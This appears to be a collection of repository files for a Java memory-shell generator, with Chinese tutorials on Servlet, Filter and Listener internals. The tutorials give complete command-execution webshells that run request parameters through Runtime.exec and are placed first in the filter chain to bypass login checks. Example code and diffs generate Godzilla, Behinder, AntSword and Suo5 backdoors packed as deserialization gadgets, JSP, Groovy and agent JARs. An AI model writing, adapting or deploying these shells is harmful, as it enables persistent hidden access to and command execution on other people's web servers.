Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
```java
public interface Filter {
/**
* 由 Web 容器在初始化 Filter 时调用。
*/
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
/**
* 由 Web 容器在卸载 Filter 时调用。
*/
public void destroy();
}
```
## FilterShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
```java
public class CommandFilter implements Filter {
public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
```
+79
View File
@@ -0,0 +1,79 @@
# Event Listeners
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
| Listener 接口类 | 描述 |
|--------------------------------------------------|---------------------------------|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
## ServletRequestListener
在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。
```java
public interface ServletRequestListener extends EventListener {
public void requestDestroyed(ServletRequestEvent sre);
/**
* Receives notification that a ServletRequest is about to come
* into scope of the web application.
*
* @param sre the ServletRequestEvent containing the ServletRequest
* and the ServletContext representing the web application
*/
public void requestInitialized(ServletRequestEvent sre);
}
```
以下时使用 ServletRequestListenerShell 命令回显的代码实现。
1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。
```java
public class CommandListener implements ServletRequestListener {
public static String paramName;
public CommandListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
}
```
+98
View File
@@ -0,0 +1,98 @@
# Java Servlet
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
## ServletContext
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
## HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
```java
@WebServlet(/foo)
public class CalculatorServlet extends HttpServlet{
//...
}
```
```xml
<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>
```
## ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
```java
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}
```
@@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.reajason.javaweb.maven</groupId>
<artifactId>memshell-party-maven-example</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.8.0</version>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,50 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class Godzilla {
public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
}
}
@@ -0,0 +1,52 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class GodzillaAgent {
public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
-66
View File
@@ -1,66 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'com.reajason.javaweb.memsell'
version = rootProject.version
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
dependencies {
implementation project(":common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'com.github.jar-analyzer:class-obf'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
}
+55
View File
@@ -0,0 +1,55 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = "io.github.reajason"
description = "MemShell Generator for Java"
version = rootProject.version
tasks.compileTestJava {
javaCompiler.set(javaToolchains.compilerFor {
languageVersion.set(JavaLanguageVersion.of(17))
})
}
tasks.test {
useJUnitPlatform()
}
dependencies {
implementation(platform(project(":memshell-party-bom")))
implementation(project(":memshell-party-common"))
implementation(project(":deserialize"))
implementation(project(":memshell"))
implementation("net.bytebuddy:byte-buddy")
implementation("org.ow2.asm:asm-commons")
implementation("net.java.dev.jna:jna")
implementation("net.java.dev.jna:jna-platform")
implementation("javax.servlet:javax.servlet-api")
implementation("javax.websocket:javax.websocket-api")
implementation("org.apache.bcel:bcel")
implementation("commons-io:commons-io")
implementation("org.apache.commons:commons-lang3")
implementation("com.squareup.okhttp3:okhttp")
implementation("ch.qos.logback:logback-classic")
implementation("com.fasterxml.jackson.core:jackson-databind")
implementation("org.springframework:spring-webmvc")
implementation("org.springframework:spring-webflux")
implementation("io.projectreactor.netty:reactor-netty-core")
testImplementation(platform("org.junit:junit-bom"))
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
testImplementation("org.mockito:mockito-core")
testImplementation("org.mockito:mockito-junit-jupiter")
}
@@ -1,11 +1,12 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import me.n1ar4.clazz.obfuscator.api.ClassObf;
import me.n1ar4.clazz.obfuscator.config.BaseConfig;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
@@ -46,20 +47,7 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
if (shellConfig.isObfuscate()) {
BaseConfig config = BaseConfig.Default();
config.setIgnorePublic(true);
config.setEnableMethodName(false);
config.setEnableFieldName(false);
config.setEnableAES(false);
config.setEnableAdvanceString(false);
config.setQuiet(true);
ClassObf classObf = new ClassObf(config);
shellBytes = classObf.run(shellBytes).getData();
}
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -67,20 +55,6 @@ public class MemShellGenerator {
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isObfuscate()) {
BaseConfig config = BaseConfig.Default();
config.setIgnorePublic(true);
config.setEnableMethodName(false);
config.setEnableFieldName(false);
config.setEnableAES(false);
config.setEnableAdvanceString(false);
config.setQuiet(true);
ClassObf classObf = new ClassObf(config);
injectorBytes = classObf.run(injectorBytes).getData();
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder()
@@ -94,25 +68,4 @@ public class MemShellGenerator {
.injectorInnerClassBytes(innerClassBytes)
.build();
}
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
}
@@ -15,12 +15,17 @@ import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScrip
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
@@ -64,7 +69,8 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
@@ -90,6 +96,9 @@ public enum Packers {
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
@@ -103,6 +112,8 @@ public enum Packers {
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
@@ -114,6 +125,8 @@ public enum Packers {
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
XxlJob(new XxlJobPacker()),
;
@@ -129,10 +142,6 @@ public enum Packers {
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
@@ -2,51 +2,11 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import lombok.Getter;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -120,6 +80,7 @@ public enum Server {
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
TongWeb8(new TongWeb8Shell()),
/**
* 金蝶天燕中间件
@@ -131,6 +92,11 @@ public enum Server {
*/
InforSuite(new InforSuiteShell()),
/**
* 普元中间件
*/
Primeton(new GlassFishShell()),
/**
* XXL-JOB
*/
@@ -152,21 +118,25 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(PROXY_VALVE, Godzilla.class)
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
